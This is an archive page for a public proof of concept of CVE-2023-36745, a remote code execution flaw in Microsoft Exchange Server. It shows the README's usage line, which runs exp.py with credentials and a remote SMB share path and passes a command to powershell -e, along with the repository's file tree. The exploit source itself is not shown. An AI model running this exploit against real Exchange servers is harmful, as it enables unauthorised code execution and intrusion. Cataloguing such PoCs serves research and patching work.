Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1110 CNY

100%

CVE-2023-36745 PoC — Microsoft Exchange Server Remote Code Execution Vulnerability

Source
Associated Vulnerability
Title:Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2023-36745)
Description:Microsoft Exchange Server Remote Code Execution Vulnerability
Readme
# CVE-2023-36745
Microsoft Exchange Server CVE-2023-36745 RCE PoC.   
Example: 
```
python3 exp.py -H exchange.webdxg.com -u webdxg.com\dddai -p 4IDF7LAU -s \\192.168.237.131\Shares\ -c calc.exe
```
Command will be passed to `powershell -e`.
File Snapshot

[4.0K] /data/pocs/deb3cacf888a92fd167e4a541041d583a5231b1f ├── [3.1K] exp.py ├── [4.5K] FUSE.Paxos.dll ├── [4.0K] pypsrp │   ├── [ 14K] client.py │   ├── [ 61K] complex_objects.py │   ├── [3.8K] encryption.py │   ├── [3.9K] exceptions.py │   ├── [ 44K] host.py │   ├── [ 958] __init__.py │   ├── [ 40K] messages.py │   ├── [ 40K] messages.py.tpl │   ├── [ 11K] negotiate.py │   ├── [ 64K] powershell.py │   ├── [4.0K] pwsh_scripts │   │   ├── [5.2K] copy.ps1 │   │   ├── [1.9K] fetch.ps1 │   │   ├── [ 139] __init__.py │   │   └── [4.0K] __pycache__ │   │   └── [ 198] __init__.cpython-37.pyc │   ├── [4.0K] __pycache__ │   │   ├── [ 12K] client.cpython-37.pyc │   │   ├── [ 49K] complex_objects.cpython-37.pyc │   │   ├── [3.4K] encryption.cpython-37.pyc │   │   ├── [5.2K] exceptions.cpython-37.pyc │   │   ├── [ 43K] host.cpython-37.pyc │   │   ├── [ 795] __init__.cpython-37.pyc │   │   ├── [ 34K] messages.cpython-37.pyc │   │   ├── [8.9K] negotiate.cpython-37.pyc │   │   ├── [ 52K] powershell.cpython-37.pyc │   │   ├── [ 25K] serializer.cpython-37.pyc │   │   ├── [ 14K] shell.cpython-37.pyc │   │   ├── [2.9K] _utils.cpython-37.pyc │   │   └── [ 31K] wsman.cpython-37.pyc │   ├── [ 0] py.typed │   ├── [ 33K] serializer.py │   ├── [ 16K] shell.py │   ├── [3.5K] _utils.py │   └── [ 45K] wsman.py └── [ 242] README.md 4 directories, 35 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →